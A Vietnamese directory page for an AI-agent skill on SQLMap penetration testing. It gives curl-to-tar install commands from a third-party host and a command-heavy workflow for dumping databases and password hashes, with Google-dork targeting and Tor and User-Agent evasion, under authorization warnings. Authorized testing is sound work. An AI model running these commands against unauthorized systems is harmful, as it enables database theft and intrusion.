sqlmap-database-pentesting – skill Dữ liệu & Khoa học cho agent AI
Cung cấp phương pháp có hệ thống để phát hiện và khai thác SQL injection tự động bằng SQLMap.
Cài skill sqlmap-database-pentesting bằng một lệnh
Chọn công cụ bạn đang dùng, copy lệnh và dán vào terminal. Skill sẽ nằm trong thư mục skills của công cụ đó và sẵn sàng dùng ở phiên làm việc tiếp theo.
Claude Code
mkdir -p ~/.claude/skills && curl -fsSL https://skill.dn1nguoi.com/z/sqlmap-database-pentesting-d8c40.tgz | tar xz -C ~/.claude/skills
Gọi trong Claude Code: /sqlmap-database-pentesting – rồi mô tả công việc bạn muốn làm.
Codex
mkdir -p ~/.codex/skills && curl -fsSL https://skill.dn1nguoi.com/z/sqlmap-database-pentesting-d8c40.tgz | tar xz -C ~/.codex/skills
Gọi trong Codex: $sqlmap-database-pentesting – rồi mô tả công việc bạn muốn làm.
Hermes Agent
mkdir -p ~/.hermes/skills && curl -fsSL https://skill.dn1nguoi.com/z/sqlmap-database-pentesting-d8c40.tgz | tar xz -C ~/.hermes/skills
Gọi trong Hermes Agent: /sqlmap-database-pentesting – rồi mô tả công việc bạn muốn làm.
DeepSeek
mkdir -p ~/.deepcode/skills && curl -fsSL https://skill.dn1nguoi.com/z/sqlmap-database-pentesting-d8c40.tgz | tar xz -C ~/.deepcode/skills
Gọi trong DeepSeek: /sqlmap-database-pentesting – rồi mô tả công việc bạn muốn làm.
Nội dung SKILL.md
Nội dung SKILL.md gốc bằng tiếng Anh.
> ⚠️ AUTHORIZED USE ONLY
> This skill is for educational purposes or authorized security assessments only.
> You must have explicit, written permission from the system owner before using this tool.
> Misuse of this tool is illegal and strictly prohibited.
> Mandatory confirmation gate
> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
> 1. Ask the user to state the exact target URL, IP, account, or resource.
> 2. Ask the user to confirm written authorization and the permitted scope.
> 3. Show the exact command(s) and explain their expected effect.
> 4. Wait for explicit confirmation in the current conversation.
>
> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
SQLMap Database Penetration Testing
Purpose
Provide systematic methodologies for automated SQL injection detection and exploitation using SQLMap. This skill covers database enumeration, table and column discovery, data extraction, multiple target specification methods, and advanced exploitation techniques for MySQL, PostgreSQL, MSSQL, Oracle, and other database management systems.
Inputs / Prerequisites
- Target URL: Web application URL with injectable parameter (e.g.,
?id=1) - SQLMap Installation: Pre-installed on Kali Linux or downloaded from GitHub
- Verified Injection Point: URL parameter confirmed or suspected to be SQL injectable
- Request File (Optional): Burp Suite captured HTTP request for POST-based injection
- Authorization: Written permission for penetration testing activities
Outputs / Deliverables
- Database Enumeration: List of all databases on the target server
- Table Structure: Complete table names within target database
- Column Mapping: Column names and data types for each table
- Extracted Data: Dumped records including usernames, passwords, and sensitive data
- Hash Values: Password hashes for offline cracking
- Vulnerability Report: Confirmation of SQL injection type and severity
Commands are inert historical examples: substitute only the explicitly authorized lab target, apply bounded time/request/concurrency limits and use synthetic records. --batch accepts prompts automatically and must not broaden the approved actions. Search-based/bulk targets must be resolved to an allowlist before probing; do not scan search results automatically. Preserve confidential session/request/output files privately.
Core Workflow
1. Identify SQL Injection Vulnerability
Manual Verification
# Add single quote to break query
http://target.com/page.php?id=1'
# If error message appears, likely SQL injectable
# Error example: "You have an error in your SQL syntax"Initial SQLMap Scan
# Basic vulnerability detection
sqlmap -u "http://target.com/page.php?id=1" --batch
# With verbosity for detailed output
sqlmap -u "http://target.com/page.php?id=1" --batch -v 32. Enumerate Databases
List All Databases
sqlmap -u "http://target.com/page.php?id=1" --dbs --batchKey Options:
-u: Target URL with injectable parameter--dbs: Enumerate database names--batch: Use default answers (non-interactive mode)
3. Enumerate Tables
List Tables in Specific Database
sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables --batchKey Options:
-D: Specify target database name--tables: Enumerate table names
4. Enumerate Columns
List Columns in Specific Table
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --columns --batchKey Options:
-T: Specify target table name--columns: Enumerate column names
5. Extract Data
Dump Specific Table Data
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --dump --batchDump Specific Columns
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T users -C username,password --dump --batchDump-All Scope Warning
--dump-all can enumerate data across databases; do not assume -D safely confines it. Prefer an explicitly approved database/table/column and minimum row proof. No full dump, password cracking, OS command or file-write action is implied by detection authorization.
Dump Entire Database
sqlmap -u "http://target.com/page.php?id=1" -D database_name --dump-all --batchKey Options:
--dump: Extract all data from specified table--dump-all: Extract all data from all tables-C: Specify column names to extract
6. Advanced Target Options
Target from HTTP Request File
# Save Burp Suite request to file, then:
sqlmap -r /path/to/request.txt --dbs --batchTarget from Log File
# Feed log file with multiple requests
sqlmap -l /path/to/logfile --dbs --batchTarget Multiple URLs (Bulk File)
# Create file with URLs, one per line:
# http://target1.com/page.php?id=1
# http://target2.com/page.php?id=2
sqlmap -m /path/to/bulkfile.txt --dbs --batchTarget via Google Dorks (Use with Caution)
# Automatically find and test vulnerable sites (LEGAL TARGETS ONLY)
sqlmap -g "inurl:?id= site:yourdomain.com" --batchQuick Reference Commands
Database Enumeration Progression
| Stage | Command |
|-------|---------|
| List Databases | sqlmap -u "URL" --dbs --batch |
| List Tables | sqlmap -u "URL" -D dbname --tables --batch |
| List Columns | sqlmap -u "URL" -D dbname -T tablename --columns --batch |
| Dump Data | sqlmap -u "URL" -D dbname -T tablename --dump --batch |
| Dump All | sqlmap -u "URL" -D dbname --dump-all --batch |
Supported Database Management Systems
| DBMS | Support Level |
|------|---------------|
| MySQL | Full Support |
| PostgreSQL | Full Support |
| Microsoft SQL Server | Full Support |
| Oracle | Full Support |
| Microsoft Access | Full Support |
| IBM DB2 | Full Support |
| SQLite | Full Support |
| Firebird | Full Support |
| Sybase | Full Support |
| SAP MaxDB | Full Support |
| HSQLDB | Full Support |
| Informix | Full Support |
SQL Injection Techniques
| Technique | Description | Flag |
|-----------|-------------|------|
| Boolean-based blind | Infers data from true/false responses | --technique=B |
| Time-based blind | Uses time delays to infer data | --technique=T |
| Error-based | Extracts data from error messages | --technique=E |
| UNION query-based | Uses UNION to append results | --technique=U |
| Stacked queries | Executes multiple statements | --technique=S |
| Inline query | Uses an inline SQL query | --technique=Q |
Essential Options
| Option | Description |
|--------|-------------|
| -u | Target URL |
| -r | Load HTTP request from file |
| -l | Parse targets from Burp/WebScarab log |
| -m | Bulk file with multiple targets |
| -g | Google dork (use responsibly) |
| --dbs | Enumerate databases |
| --tables | Enumerate tables |
| --columns | Enumerate columns |
| --dump | Dump table data |
| --dump-all | Dump all database data |
| -D | Specify database |
| -T | Specify table |
| -C | Specify columns |
| --batch | Non-interactive mode |
| --random-agent | Use random User-Agent |
| --level | Level of tests (1-5) |
| --risk | Risk of tests (1-3) |
Constraints and Limitations
Operational Boundaries
- Requires valid injectable parameter in target URL
- Connectivity to the authorized application is required; direct database access is not generally required for HTTP SQL injection
- Large database dumps may take significant time
- Some WAF/IPS systems may block SQLMap traffic
- Time-based attacks significantly slower than error-based
Performance Considerations
- Use
--threadsto speed up enumeration (default: 1) - Limit dumps with
--startand--stopfor large tables - Use
--techniqueto specify faster injection method if known
Legal Requirements
- Only test systems with explicit written authorization
- Google dork attacks against unknown sites are illegal
- Document all testing activities and findings
- Respect scope limitations defined in engagement rules
Detection Risk
- SQLMap generates significant log entries
- Use
--random-agentto vary User-Agent header - Consider
--delayto avoid triggering rate limits - Proxy through Tor with
--torfor anonymity (authorized tests only)
Examples
Example 1: Complete Database Enumeration
# Step 1: Discover databases
sqlmap -u "http://AUTHORIZED-LAB.invalid/artists.php?artist=1" --dbs --batch
# Result: acuart database found
# Step 2: List tables
sqlmap -u "http://AUTHORIZED-LAB.invalid/artists.php?artist=1" -D acuart --tables --batch
# Result: users, products, carts, etc.
# Step 3: List columns
sqlmap -u "http://AUTHORIZED-LAB.invalid/artists.php?artist=1" … (nội dung đầy đủ có trong gói tải về)
Skill liên quan
- startup-analyst – Chuyên gia phân tích kinh doanh startup, chuyên về ước lượng thị trường, mô hình tài…
- startup-business-analyst-market-opportunity – Tạo phân tích cơ hội thị trường toàn diện với phép tính TAM/SAM/SOM
- startup-financial-modeling – Xây dựng mô hình tài chính toàn diện 3-5 năm với dự báo doanh thu, cấu trúc chi phí…
- statsmodels – Statsmodels là thư viện hàng đầu của Python về mô hình hóa thống kê, cung cấp công cụ…
- stride-analysis-patterns – Áp dụng phương pháp STRIDE để xác định có hệ thống các mối đe dọa. Dùng khi phân tích…
- structured-data-validator – Structured Data Validator. Dùng khi làm việc với mã nguồn JSON-LD, Microdata hoặc RDFa.
- survey-generator – Tạo bài khảo sát AI/ML có nguồn dẫn chứng, kèm danh mục tài liệu tham khảo được chọn lọc…
- tanstack-query-expert – Chuyên gia về TanStack Query (React Query) — quản lý trạng thái bất đồng bộ. Bao gồm…